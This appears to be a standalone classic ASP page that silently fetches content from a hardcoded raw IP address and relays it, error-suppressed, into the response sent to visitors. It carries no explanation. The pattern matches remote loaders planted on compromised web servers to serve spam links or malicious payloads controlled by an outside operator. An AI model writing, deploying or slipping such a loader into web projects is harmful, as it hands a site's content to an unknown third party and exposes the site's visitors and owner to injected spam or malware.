<% Path="http://43.251.102.43/cx/cx/link/" t = GetBody(Path) Response.BinaryWrite t Function GetBody(url) Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With on error resume next if Retrieval.status <>200 then Set Retrieval = Nothing exit function end if End Function %>